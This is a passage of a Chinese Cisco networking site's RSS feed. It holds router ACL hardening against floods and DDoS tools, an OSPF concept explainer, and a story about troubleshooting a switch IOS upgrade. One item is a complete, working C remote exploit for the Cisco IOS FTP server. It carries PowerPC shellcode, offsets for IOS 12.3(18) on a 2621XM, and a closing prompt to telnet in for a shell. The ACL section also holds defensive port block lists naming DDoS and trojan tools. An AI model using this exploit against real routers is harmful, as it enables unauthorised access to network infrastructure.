2048 <br/>Generating RSA Keys... <br/>[OK] <br/>Router(Config)#&lt;/P&gt;&lt;P&gt;2、 TCP SYN的防范。如：<br/>A: 通过访问列表防范。<br/>Router(Config)# no access-list 106 <br/>Router(Config)# access-list 106 permit tcp any 192.168.0.0 0.0.0.255 established<br/>Router(Config)# access-list 106 deny ip any any <br/>Router(Config)# interface eth 0/2<br/>Router(Config-if)# deion “external Ethernet”<br/>Router(Config-if)# ip address 192.168.1.254 255.255.255.0<br/>Router(Config-if)# ip access-group 106 in<br/>B：通过TCP截取防范。(这会给路由器产生一定负载)<br/>Router(Config)# ip tcp intercept list 107<br/>Router(Config)# access-list 107 permit tcp any 192.168.0.0 0.0.0.255<br/>Router(Config)# access-list 107 deny ip any any <br/>Router(Config)# interface eth0<br/>Router(Config)# ip access-group 107 in&lt;/P&gt;&lt;P&gt;3、 LAND.C 进攻的防范。<br/>Router(Config)# access-list 107 deny ip host 192.168.1.254 host 192.168.1.254 <br/>Router(Config)# access-list 107 permit ip any any<br/>Router(Config)# interface eth 0/2<br/>Router(Config-if)# ip address 192.168.1.254 255.255.255.0<br/>Router(Config-if)# ip access-group 107 in&lt;/P&gt;&lt;P&gt;4、 Smurf进攻的防范。<br/>Router(Config)# access-list 108 deny ip any host 192.168.1.255 <br/>Router(Config)# access-list 108 deny ip any host 192.168.1.0 <br/>Router(Config)# access-list 108 permit ip any any<br/>Router(Config-if)# ip access-group 108 in&lt;/P&gt;&lt;P&gt;5、 ICMP协议的安全配置。对于进入ICMP流，我们要禁止ICMP协议的ECHO、Redirect、Mask request。也需要禁止TraceRoute命令的探测。对于流出的ICMP流，我们可以允许ECHO、Parameter Problem、Packet too big。还有TraceRoute命令的使用。<br/>! outbound ICMP Control<br/>Router(Config)# access-list 110 deny icmp any any echo <br/>Router(Config)# access-list 110 deny icmp any any redirect <br/>Router(Config)# access-list 110 deny icmp any any mask-request <br/>Router(Config)# access-list 110 permit icmp any any <br/>! Inbound ICMP Control<br/>Router(Config)# access-list 111 permit icmp any any echo<br/>Router(Config)# access-list 111 permit icmp any any Parameter-problem<br/>Router(Config)# access-list 111 permit icmp any any packet-too-big<br/>Router(Config)# access-list 111 permit icmp any any source-quench<br/>Router(Config)# access-list 111 deny icmp any any <br/>! Outbound TraceRoute Control<br/>Router(Config)# access-list 112 deny udp any any range 33400 34400 <br/>! Inbound TraceRoute Control<br/>Router(Config)# access-list 112 permit udp any any range 33400 34400 &lt;/P&gt;&lt;P&gt;6、 DDoS(Distributed Denial of Service)的防范。<br/>! The TRINOO DDoS system<br/>Router(Config)# access-list 113 deny tcp any any eq 27665 <br/>Router(Config)# access-list 113 deny udp any any eq 31335 <br/>Router(Config)# access-list 113 deny udp any any eq 27444 <br/>! The Stacheldtraht DDoS system <br/>Router(Config)# access-list 113 deny tcp any any eq 16660 <br/>Router(Config)# access-list 113 deny tcp any any eq 65000 <br/>! The TrinityV3 System<br/>Router(Config)# access-list 113 deny tcp any any eq 33270 <br/>Router(Config)# access-list 113 deny tcp any any eq 39168 <br/>! The SubSeven DDoS system and some Variants<br/>Router(Config)# access-list 113 deny tcp any any range 6711 6712 <br/>Router(Config)# access-list 113 deny tcp any any eq 6776 <br/>Router(Config)# access-list 113 deny tcp any any eq 6669 <br/>Router(Config)# access-list 113 deny tcp any any eq 2222 <br/>Router(Config)# access-list 113 deny tcp any any eq 7000 <br/>Router(Config)# access-list 113 permit ip any any<br/>Router(Config-if)# ip access-group 113 in&lt;/P&gt;&lt;P&gt;7、 Sql蠕虫的防范<br/>Router(Config)# access-list 114 deny udp any any eq 1434<br/>Router(Config)# access-list 114 permit ip any any<br/>Router(Config-if)# ip access-group 114 in&lt;/P&gt;&lt;P&gt;8、 减少BGP的收敛时间，保证黑客攻击后网络能尽快恢复。<br/>建议增加如下配置：(需在所有运行BGP的路由器上增加)<br/>1、在每个BGP互连的接口上，增加hold-queue 1500命令，将接口的hold-queue由默认的75增加到1500。在做此配置之前需要先检查板卡的内存，确保其free memory至少为20M。<br/>2、增加以下有关TCP的配置，增强BGP的收敛性能。<br/>ip tcp sel&#101;ctive-ack<br/>ip tcp mss 1460<br/>ip tcp window-size 65535<br/>ip tcp queuemax 50<br/>ip tcp path-mtu-discovery<br/>3、在GSR上，增加ip cef linecard ipc memory 10000命令，提高download FIB的速度。&lt;/P&gt;&lt;P&gt;9、 启用CAR和系统日志等来增强（略）&lt;/P&gt;&lt;P&gt;其他注意事项：<br/>1,及时的升级IOS软件，并且要迅速的为IOS安装补丁。<br/>2,要严格认真的为IOS作安全备份。<br/>3,要为路由器的配置文件作安全备份。<br/>4,购买UPS设备，或者至少要有冗余电源。<br/>5,要有完备的路由器的安全访问和维护记录日志。]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2196.htm</link>
			<title><![CDATA[OSPF路由协议概念解释和特性介绍 ]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Tue,02 Dec 2008 13:58:04 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2196</guid>
		<description><![CDATA[　前言： <br/>　　本篇文档针对一些对OSPF路由协议有一定的感性熟悉的技术人员，提供一些基于OSPF报文格式的介绍，来达到了解OSPF路由协议的特性和特有的一些概念的了解。 <br/>　　<br/>　　一．OSPF的特性： <br/>　　快速收敛； <br/>　　能够适应大型网络； <br/>　　能够正确处理错误路由信息； <br/>　　使用区域，能够减少单个路由器的CPU负担，构成结构化的网络； <br/>　　支持无类路由，完全支持超网，可变长子网等无类特性； <br/>　　支持多条路径负载均衡； <br/>　　使用组播地址来进行信息互通，减少了非OSPF路由器的负载； <br/>　　使用路由标签来表示来自外部区域的路由。 <br/>　　<br/>　　二．Neighbor和Adjacency的定义： <br/>　　Neighbor： <br/>　　在网络中，OSPF路由器可以发送Hello报文来进行邻居寻找，当Hello报文中的几个字段的内容是互相一致的时候，相邻的OSPF路由器就会形成Neighbor关系。 <br/>　　Neighbor是保存在Neighbor表里，需要有Router ID和IP地址信息。 <br/>　　Router ID的确定： <br/>　　1． 选择IP地址最大的Loopback接口的IP地址为Router ID；假如只有一个Loopback接口，那么Router ID就是这个Loopback的地址。 <br/>　　2． 假如没有Loopback接口，就选择IP地址最大的物理接口的IP地址为Router ID，但是作为Router ID的物理接口，就不能运行OSPF，也就是说这个接口无法发送接受OSPF报文。 <br/>　　使用Loopback的IP地址作为Router ID的好处： <br/>　　a． Loopback接口是逻辑接口，永远不会down，有利于OSPF的稳定运行； <br/>　　b． 便于控制OSPF路由器的Router ID。 <br/>　　Hello协议的特点： <br/>　　1． 目的： <br/>　　a． 用来发现OSPF Neighbor； <br/>　　b． Hello报文包含了多个需要OSPF路由器协商的参数，以形成Neighbor的关系； <br/>　　c． 他可以用来维持邻居之间链接的存活； <br/>　　d． 用来确定DR，BDR路由器的选择。 <br/>　　<br/>　　2． 报文内容： <br/>　　a． Router ID <br/>　　b． Area ID <br/>　　c． IP地址和掩码 <br/>　　d． 认证方式和认证信息 <br/>　　e． Hello Interval和Dead Interval <br/>　　f． Router优先权 <br/>　　g． DR和BDR的Router ID <br/>　　h． 五个字节的特性控制信息 <br/>　　i． 距上次Hello报文后，在Dead Interval中，路由器的Neighbor的Router ID列表 <br/>　　每个OSPF路由器收到收到hello报文，将会协商上述信息，是否符合，假如不符合，Hello报文会遭到丢弃。 <br/>　　并且当一个路由器收到一个Hello报文，其中Neighbor Router ID List里有它的Router ID时，就会进入2-way模式,一旦进入2-way模式，就会建立Adjacency。 <br/>　　3． DR和BDR使用224.0.0.5(ALLSPFRouter Address)发送Hello Packet，而收到报文的路由器以224.0.0.6(ALLDRRouter Address)发送确认报文，表示收到了Hello Packet。 <br/>　　4． Point-to-Multipoint:相当与多个点对点网络的集合，但是不会产生DR，BDR的选举，通过组播报文发送路由信息报文。 <br/>　　5． 只有NBMA网络和采用虚拟链路的网络发送的是单播报文。 <br/>　　6． Stub Network：只有一个出口连接到路由器的网络，通常产生的报文的原地址和目的地址都是本网络中。 <br/>　　DR和BDR的选择，特性： <br/>　　1． DR和BDR是接口的特性，和路由器本身无关。 <br/>　　2． DR和BDR和multiAccess网络中其他的路由器形成adjancency，但他们之间没有形成adjancency。 <br/>　　3． 每个接口上都会有优先级，假如优先级为0时，表示不参加选择DR，BDR。 <br/>　　<br/>　　Adjacency： <br/>　　是在OSPF Neighbor之间形成的虚拟的连接，这些连接有不同的性质，根据路由器连接的不同网络类型。 <br/>　　形成Adjacency的步骤： <br/>　　1． 邻居发现 <br/>　　2． 双向通信 <br/>　　3． 数据库同步 <br/>　　为了使路由器能够实现数据库的一致和同步，通过交换DD，LSR，LSU报文来达到数据库同步的目的。 <br/>　　4． 完全形成连接 <br/>　　<br/>　　Master和Slave的关系和选择 <br/>　　在ExStart状态下，邻居之间进行协商，以决定由哪个路由器来控制Database sychronization。 <br/>　　Neighbor表项的数据结构： <br/>　　Neighbor表项中的信息是通过路由器从Hello报文中学到的，关于邻居的一些信息。 <br/>　　1． Neighbor ID <br/>　　2． Neighbor IP Address <br/>　　3． Area ID <br/>　　4． Interface <br/>　　5． Neighbor Priority <br/>　　6． State <br/>　　7． PollInterval <br/>　　这是用于NBMA网络的一个概念，由于NBMA网络无法用组播来发送报文，也就是说无法自动发现邻居，假如当Neighbor处于down的状态时候，Hello报文每隔一个PollInterval时间就会发送一次，来发现和维护邻居关系。 <br/>　　8． Neighbor Option <br/>　　9． Inactivity Time <br/>　　10． DR <br/>　　11． BDR <br/>　　12． Master/Slave <br/>　　13． DD Sequence Number <br/>　　14． Last Received Database Description Packet <br/>　　15． Lik State Retransmission List <br/>　　是指已经发送出去的LSA，但是还没有收到Acknowledge的报文，假如超过RxmtInterval还没有收到，就会进行重传。 <br/>　　16． Database Summary List <br/>　　在database synchronization时，所发送的LSA的表单。 <br/>　　17． Link State Request List <br/>　　是指最新收到的在Database Description报文中所带的LSA清单，<br/><br/>路由器会发送LSR到Neighbor要最新的LSA，收到LSU后，会把list里的相应条目删掉。 <br/>　　<br/>　　三．Neighbor状态机制 <br/>　　1． Down <br/>　　没有收到任何Hello报文的时候，或是在DeadInterval中，没有收到Hello报文 <br/>　　2． Attempt <br/>　　只有在NBMA网络里才有，手工进行Neighbor的指定。 <br/>　　3． Init <br/>　　收到了Hello报文 <br/>　　4． 2-way <br/>　　当路由器看到自己的Router ID在邻居发来的Hello报文里；在广播网络里，DR和BDR开始被选举。 <br/>　　5． ExStart <br/>　　决定Master/Slave关系，以初始化DD 报文序列号来交换Database Description报文 <br/>　　6． Exchange <br/>　　路由器开始交换DD报文的过程 <br/>　　7． Loading <br/>　　发送LSR报文已处在Loading状态的报文，请求最新的通过Exchange DD报文发现的未收到的LSA <br/>　　8． Full <br/>　　完成了路由器和网络的LSA的交换 <br/>　　当路由器收到LSA后，会把LSA存到数据库中，然后会把收到LSA复制并从其它的OSPF接口发送出去，直到整个网络区域的LSA Database获得同步一致。然后每个路由器根据LSA Database里的Link信息进行SPF运算，算出没有回路的最短路径。 <br/>　　<br/>　　四．Database Description报文 <br/>　　它是包含了路由器所有的LSA信息的报头，可以使路由器知道，Neighbor上有多少LSA是自己不知道的，可以通过LSR报文来请求新的LSA。 <br/>　　五．多区域OSPF特性 <br/>　　1．骨干区域：起到了让其他非骨干区域能够知道别的区域的网络情况的作用。也就是说，所有非骨干区域的路由信息都要流经骨干区域。 <br/>　　<br/>　　2．虚拟链路：是一个通过非骨干区域到骨干区域的链路。 <br/>　　使用目的： <br/>　　连接一个非骨干区域到一个骨干区域通过一个非骨干区域 <br/>　　通过一个非骨干区，连接分开的两个骨干区部分 <br/>　　规则： <br/>　　必须在两个ABR之间进行配置 <br/>　　虚链路通过的区域作为传输区域，必须有完整的路由信息 <br/>　　中间传输区不能是存根区 <br/>　　<br/>　　六．区域的Link State报文类型： <br/>　　1． Router LSA <br/>　　由区域内所有的路由器产生的，并且只能在本个区域泛洪广播。 <br/>　　2． Network LSA <br/>　　由区域内的DR或BDR路由器产生的，报文包括DR和BDR连接的路由器的链路信息。 <br/>　　3． Network Summary LSA <br/>　　由ABR产生的，可以通知本区域内的路由器通往区域外的路由信息；同时可以发送通往相同自治区不同区域的默认路由；把本区域的路由发送到骨干区域，假如有两个到相同目的地的路径，只会把最低cost的路由发送出去； <br/>　　4． ASBR Summary LSA <br/>　　由ABR产生，但是它是一条主机路由，指向ASBR路由器地路由。 <br/>　　5． Autonomous System External LSA <br/>　　由ASBR产生，它告诉相同自治区的路由器通往外自治区的路径。 <br/>　　6． NSSA External LSA <br/>　　由ASBR产生，在NSSA区域中，当有一个路由器是ASBR时，不得不产生LSA 5报文，但是NSSA中不能有LSA 5报文，所有ASBR产生LSA 7报文，发给本区域的路由器。 <br/>　　<br/>　　七．OSPF Over Demand Circuits <br/>　　是应用于有交换虚电路的链路中，当链路在是空闲的时候，它不会有虚电路的连接，只有在链路上有通信量的时候，才会建立虚电路。而OSPF的Hello，LSA报文是要每隔一段时间要发送一次，而Demand Circuits提供了一种特性，在虚电路上只需要传一次Hello和LSA报文进行OSPF的邻居和数据库同步，接下来就不需要再发送以上这些报文，LSA也不会由于收不到Up&#100;ate报文而过期，邻居关系也不会Dead。这样可是减少链路的使用情况，节省了广域网链路的开支。 <br/>　　OSPF通过在LSA报文中设置一个DonotAge字节，来使两端得到协商，使收到的LSA永不过期。并且在LSA中加了一个标志位，DC bit,使其他路由器知道这个LSA具有Demand Circuit的特性，<br/><br/>使其他路由器不会认为这条路由过期。 <br/>　　<br/>　　八．OSPF的配置（只有一些特点，比较常规的东西不讲了） <br/>　　OSPF 具有DNS功能，可以使用路由器名来取代Router ID。 <br/>　　配置： <br/>　　ip name-server 172.19.45.1 <br/>　　指定OSPF使用的DNS-SERVER的 IP地址 <br/>　　ip ospf name-lookup <br/>　　使OSPF可以启用DNS功能 <br/>　　<br/>　　OSPF针对接口有多个地址的解决方法： <br/>　　1． OSPF只有当接口主地址启用了OSPF时候，才会对secondary IP address Network的路由信息进行处理。 <br/>　　2． OSPF把secondary IP address Network看作是Stub Network，没有别的OSPF邻居，并且不会送Hello报文，也不会和从地址网络形成链接。所以当secondary IP address Network上有连着一台路由器时，而又需要这两台路由器互通路由信息，可以考虑采用静态路由。 <br/>　　<br/>　　Area 1 nssa no-summary no-redistribution命令使用在既是ABR又是ASBR上，可以让他所连接的NSSA区域中，只有Router LSA，没有其他的类型LSA，甚至LSA 7也没有，只有一条指向ABR的默认路由。 <br/>　　<br/>　　Area 1 nssa no-redistribution default-information-originate命令可以使上述情况中，可以让LSA 3和4进入NSSA区域，但是LSA 5和LSA 7会被过滤掉。由于把no-summary去掉后，虽然可以使LSA 3和4可以进入NSSA区域，但是ABR就不能产生一个指向外面网络的默认路由，使NSSA区域内的路由器和自治区外的路由隔离。使用default-information-originate参数，可以使ABR产生一个默认路由。 <br/>　　<br/>　　在OSPF上配置地址汇总时，最好在ABR上增加一条指向null0口的默认路由，防止路由回环。 ]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2164.htm</link>
			<title><![CDATA[升级交换机IOS引发的网络故障 ]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Fri,28 Nov 2008 23:27:03 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2164</guid>
		<description><![CDATA[单位前几天新买了一台思科的Catalyst 6509交换机，配了WS-X6548-GE-TX这个思科在去年四月才新推出的10兆、100兆、1000兆自适应的48口RJ-45交换模块。由于思科的软件推出总是滞后于硬件，所以拿到手的Catalyst 6509交换机标准配置的12.2(14)SX1版本的IOS并不能支持该模块。于是找来支持WS-X6548-GE-TX模块的新版本的IOS准备升级。结果问题也就接二连三的来了。<br/><br/><strong>问题一：没有RJ-45接口</strong><br/><br/>WS-X6548-GE-TX这个48口的RJ-45交换模块不能使用，交换机又没有配其他的带RJ-45接口的模块。这可怎么办？因为用思科的TFTP Server 升级就必须得将交换机和网络上的一台装有TFTP Server的PC相连。经过一番寻找，终于发现超级引擎720上面有一个RJ-45模样的接口，旁边写着Link的字样，有戏！结果拿来网线插上一试，发现指示灯都不亮。本来以为有了希望的心情一下又堕入了谷底，但是不能放弃。因为这个接口是唯一的希望，不然用xmodem方式传输41兆的IOS简直让我望而却步。因为我曾经用xmodem方式传过一个2950交换机的IOS，也就两兆多大小吧，足足用了两个钟头。41兆？最快也得30几个小时！于是开始上网找资料……，终于发现问题：原来超级引擎720上的port 2有两种模式一种是RJ-45接口，还有一种是SFP（a small form-factor pluggable）接口。而默认的设置是SFP，要使用RJ-45接口就必须更改设置。键入命令：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.ruery.net/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"><br/>Router(config)# interface gigabitethernet 5/2 <br/>Router(config-if)# media-type rj45<br/>Router(config-if)#no shutdown<br/></div></div><br/>橘红色的指示灯终于变成了绿色。呼……长长的出了一口气。心想，都给很多交换机升过级了，接下来的事情就应该很easy了嘛！谁知道拦路虎并没有就此罢休。<br/><br/><strong>问题二：TFTP 传输协议只支持32兆？</strong><br/><br/>接下来给接口配上管理地址，再把原来的IOS备份出来。在超级终端全局模式下敲入命令：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.ruery.net/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Router# copy sup-bootflash: s72033-pk9sv-mz.122-14.SX1.bin t<a href="ftp://192.168.1.1" target="_blank" rel="external">ftp://192.168.1.1</a></div></div><br/><br/>TFTP Server出现一连串＃字号，一切ok！就等着吧！谁知道眼看着就要传完的时候，系统提示：timeout ! write error！我当时就晕了，网线坏了？传输错误？磁盘空间不足？都没有啊。再试，还是这样。看看传下来的IOS 不大不小正好32兆，而完整的IOS就32.1兆。怎么就差一点点啊！难道是TFTP的软件有问题，版本太低？上网下载了个第三方的TFTP Server一试，结果还是这样。又找来3Com的TFTP Server，这次更小，传到16兆的时候就断开了，系统提示还是超时和写入错误。仔细分析，终于发现问题关键所在。两次传输，一次正好32兆，一次正好16兆。连字节数都不差，肯定不是传输线路问题。找来资料一查，原来TFTP （Trivial File Transfer Protocol）普通文件传输协议最大就支持传输32兆的文件。于是又找来思科文档，一番查询，找出了第二种解决方法，用FTP就行了。于是在PC上建好FTP服务，键入如下命令：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.ruery.net/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"><br/>Router# configure terminal<br/>Router(config)# ip ftp username username<br/>Router(config)# ip ftp password password<br/>Router(config)# end<br/>Router#copy sup-bootflash: s72033-pk9sv-mz.122-14.SX1.bin<br/>ftp:[//[username[:password]@]192.168.1.1]</div></div><br/><br/>这次非常成功！没有几分钟，系统提示successful！<br/><br/><strong>问题三：协议错误</strong><br/><br/>接下来就是将新的IOS传上去。这次轻车熟路的键入命令：<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.ruery.net/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Router# configure terminal<br/>Router(config)# ip ftp username username <br/>Router(config)# ip ftp password password<br/>Router(config)# end<br/>Router# copy ftp:[[//[username[:password]@]192.168.1.1] /<br/>s72033-jk9o3sv-mz.122-17a.SX.bin] sup-bootflash:</div></div><br/><br/>结果系统这次提示Protocol error！我心中一紧，不会吧？刚刚才从交换机上把IOS下载下来，没有任何问题啊？怎么马上就不行了。重试一次，下载是好的，上传提示协议错误……怎么会这样呢？分析半天，问题可能出在FTP Server，我的FTP Server是用Server－U这个第三方软件做的，于是换成微软Windows 2000自带的FTP Server。再试，哈哈，成了！不再提示协议错误。屏幕显示Loading……，几秒后提示信息：Flash空间不足！<br/><br/><strong>问题四：Flash空间不足</strong><br/><br/>6509标准配置的Flash为64兆，标配IOS大小32.1兆，要升级的12.2(17a)SX版本IOS大小为40.6 兆，空间当然不足。但是这很简单，将Flash里面原来的IOS删除了然后再上传。于是键入命令：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.ruery.net/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"><br/>Router#del&#101;te sup-bootflash: s72033-pk9sv-mz.122-14.SX1.bin<br/></div></div><br/>然后再传。提示信息还是空间不足！我的脑袋又是嗡的一响，不会又出点什么差错吧？现在交换机的IOS可是被我给删除了，现在要是掉电或者重启，交换机就起不来了啊。用show命令看，IOS文件已经没有了，但是空间还是剩余30多兆，就是说Flash没有被清空？怎么办？想起以前删除vlan.dat文件以后要重启交换机才能生效，可是现在重启是万万不行的。怎么办？我手心开始冒冷汗。上思科网站查……，终于，找到一条命令squeeze，该命令是将已经删除的文件彻底清空，就好比清空回收站一样。运行：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.ruery.net/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"><br/>Router#squeeze sup-bootflash: <br/></div></div><br/>果然好用。这下再看Flash已经被彻底清空，可用空间64兆。于是再用FTP上传，几分钟以后看见屏幕上提示successful。Reload一下，用show&nbsp;&nbsp;flash命令看IOS版本已经变成了12.2(17a)SX。插上新模块WS-X6548-GE-TX一试，已经好用了。一看表，已经过去8个多小时了，终于长长的舒了一口气，价值不菲的IOS总算成功升级了！]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2130.htm</link>
			<title><![CDATA[Cisco IOS FTP server remote exploit ]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Sat,11 Oct 2008 11:01:33 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2130</guid>
		<description><![CDATA[#include &lt;sys/socket.h&gt; <br/>#include &lt;netinet/in.h&gt; <br/>#include &lt;stdio.h&gt; <br/>#include &lt;stdlib.h&gt; <br/><br/>#define PORT 21 <br/><br/>int main(int argc, char **argv) <br/>{ <br/>unsigned char sendbuf[] = <br/><br/>&#34;MKD &#34; <br/><br/>/* .equ vty_info, 0x8182da60&nbsp;&nbsp;&nbsp;&nbsp;# pointer to VTY info */ <br/>/* .equ terminate, 0x80e4086c&nbsp;&nbsp; # kill a process */ <br/><br/>&#34;\x3c\x80\x81\x83&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* lis&nbsp;&nbsp;&nbsp;&nbsp; 4,vty_info@ha */ <br/>&#34;\x38\x84\xda\x60&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* la&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4,vty_info@l(4) */ <br/>&#34;\x7d\x08\x42\x78&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* xor&nbsp;&nbsp;&nbsp;&nbsp; 8,8,8 */ <br/>&#34;\x7c\xe4\x40\x2e&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* lwzx&nbsp;&nbsp;&nbsp;&nbsp;7,4,8 */ <br/>&#34;\x91\x07\x01\x74&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* stw&nbsp;&nbsp;&nbsp;&nbsp; 8,372(7) */ <br/>&#34;\x39\x08\xff\xff&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* subi&nbsp;&nbsp;&nbsp;&nbsp;8,8,1 */ <br/>&#34;\x38\xe7\x09\x1a&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* addi&nbsp;&nbsp;&nbsp;&nbsp;7,7,233 */ <br/>&#34;\x91\x07\x04\xca&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* stw&nbsp;&nbsp;&nbsp;&nbsp; 8,1226(7) */ <br/>&#34;\x7d\x03\x43\x78&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* mr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3,8 */ <br/>&#34;\x3c\x80\x80\xe4&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* lis&nbsp;&nbsp;&nbsp;&nbsp; 4,terminate@ha */ <br/>&#34;\x38\x84\x08\x6c&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* la&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4,terminate@l(4) */ <br/>&#34;\x7c\x89\x03\xa6&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* mtctr&nbsp;&nbsp; 4 */ <br/>&#34;\x4e\x80\x04\x20&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* bctr&nbsp;&nbsp;&nbsp;&nbsp;*/ <br/><br/>/* exists cleanly without adversely affecting the FTP server */ <br/><br/>&#34;\x61\x61\x61\x61&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* padding */ <br/>&#34;\x61\x61\x61\x61&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* padding */ <br/>&#34;\x61\x61\x61\x61&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* padding */ <br/>&#34;\x61\x61\x61\x61&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* padding */ <br/>&#34;\x61\x61\x61\x61&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* padding */ <br/>&#34;\x61\x61\x61\x61&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* padding */ <br/><br/>&#34;\x80\x06\x23\xB8&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* return address */ <br/>&#34;\x0d\x0a&#34;; <br/><br/>/* trampoline code */ <br/>/* when the overflow occurs r26+0x14 points to the shellcode */ <br/>/* <br/>0x800623B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lwz&nbsp;&nbsp;&nbsp;&nbsp; 26, 20(26) <br/>0x800623BC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mtctr&nbsp;&nbsp; 26 <br/>0x800623C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3, 27 <br/>0x800623C4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bctrl <br/>*/ <br/><br/>unsigned char recvbuf[256]; <br/>struct sockaddr_in servaddr; <br/>int s; <br/><br/>if (argc != 2) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf (&#34;\nCisco IOS FTP server remote exploit\n&#34;); <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf (&#34;\nUsage: %s &lt;target IP address&gt;\n&#34;,argv[0]); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(-1); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br/><br/>servaddr.sin_family = AF_INET; <br/>servaddr.sin_addr.s_addr = inet_addr(argv[1]); <br/>servaddr.sin_port = htons(PORT); <br/><br/>s = socket(AF_INET, SOCK_STREAM, 0); <br/>connect (s, (struct sockaddr *) &amp;servaddr, sizeof(servaddr)); <br/>printf (&#34;\nCisco IOS FTP server remote exploit\n&#34;); <br/>printf (&#34;Specific offsets for IOS 12.3(18) on a 2621XM router\n\n&#34;); <br/>printf (&#34;Sending exploit...\n\n&#34;); <br/><br/>if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0) <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&#34;Error sending packet...quitting\n\n&#34;); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit (1); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br/>recv (s, recvbuf, sizeof(recvbuf)-1,0); <br/>printf (&#34;Now telnet to the router for a shell...\n\n&#34;); <br/>} ]]></description>
		</item>
		
			<item>
			<link>http://www.ruery.net/article/Cisco/2071.htm</link>
			<title><![CDATA[Cisco路由器防止分布式拒绝服务攻击]]></title>
			<author>admin@ruery.com(Ruery)</author>
			<category><![CDATA[思科技术]]></category>
			<pubDate>Sat,23 Aug 2008 10:48:13 +0800</pubDate>
			<guid>http://www.ruery.net/default.asp?id=2071</guid>
